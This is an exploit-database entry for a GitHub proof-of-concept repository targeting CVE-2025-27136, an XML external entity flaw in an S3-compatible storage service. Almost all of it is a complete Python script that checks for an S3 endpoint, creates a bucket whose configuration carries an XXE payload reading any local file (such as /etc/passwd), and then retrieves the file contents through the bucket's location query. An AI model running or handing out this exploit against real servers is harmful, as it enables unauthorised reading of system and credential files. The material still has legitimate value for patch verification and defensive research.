Exploit database

GH-eb76b543f4065d7aa73cc19dff685c50

zaidmkh32/cve-2025-27136-xxe-locals3

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-27136

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files2
zaidmkh32/cve-2025-27136-xxe-locals3Revision f9626faabb24

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

poc.py

Python · 1,882 bytes
#!/usr/bin/env python3
"""

Usage:
python3 poc.py http://target:port /etc/passwd
"""

import requests
import sys
import uuid

requests.packages.urllib3.disable_warnings()


def check_s3(url):
    try:
        r = requests.get(url, timeout=5)
        if "ListAllMyBucketsResult" in r.text:
            print("[+] S3 service detected")
            return True
        else:
            print("[-] Target does not appear to be S3")
            return False
    except Exception as e:
        print("[-] Connection error:", e)
        return False


def build_payload(target_file):
    payload = f"""<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file://{target_file}" >
]>
<CreateBucketConfiguration>
<LocationConstraint>&xxe;</LocationConstraint>
</CreateBucketConfiguration>
"""
    return payload


def create_bucket(url, bucket, payload):
    print(f"[+] Creating bucket: {bucket}")

    headers = {"Content-Type": "application/xml"}

    r = requests.put(
        f"{url}/{bucket}",
        data=payload,
        headers=headers,
        verify=False
    )

    print("[+] Server response:")
    print(r.text)


def retrieve_data(url, bucket):
    print("[+] Retrieving file via ?location")

    r = requests.get(f"{url}/{bucket}/?location", verify=False)

    print("\n[+] Response:\n")
    print(r.text)


def main():

    if len(sys.argv) != 3:
        print("Usage: python3 poc.py <target_url> <file>")
        sys.exit()

    url = sys.argv[1].rstrip("/")
    target_file = sys.argv[2]

    if not check_s3(url):
        sys.exit()

    bucket = "xxe-" + str(uuid.uuid4())[:8]

    payload = build_payload(target_file)

    create_bucket(url, bucket, payload)

    retrieve_data(url, bucket)


if __name__ == "__main__":
    main()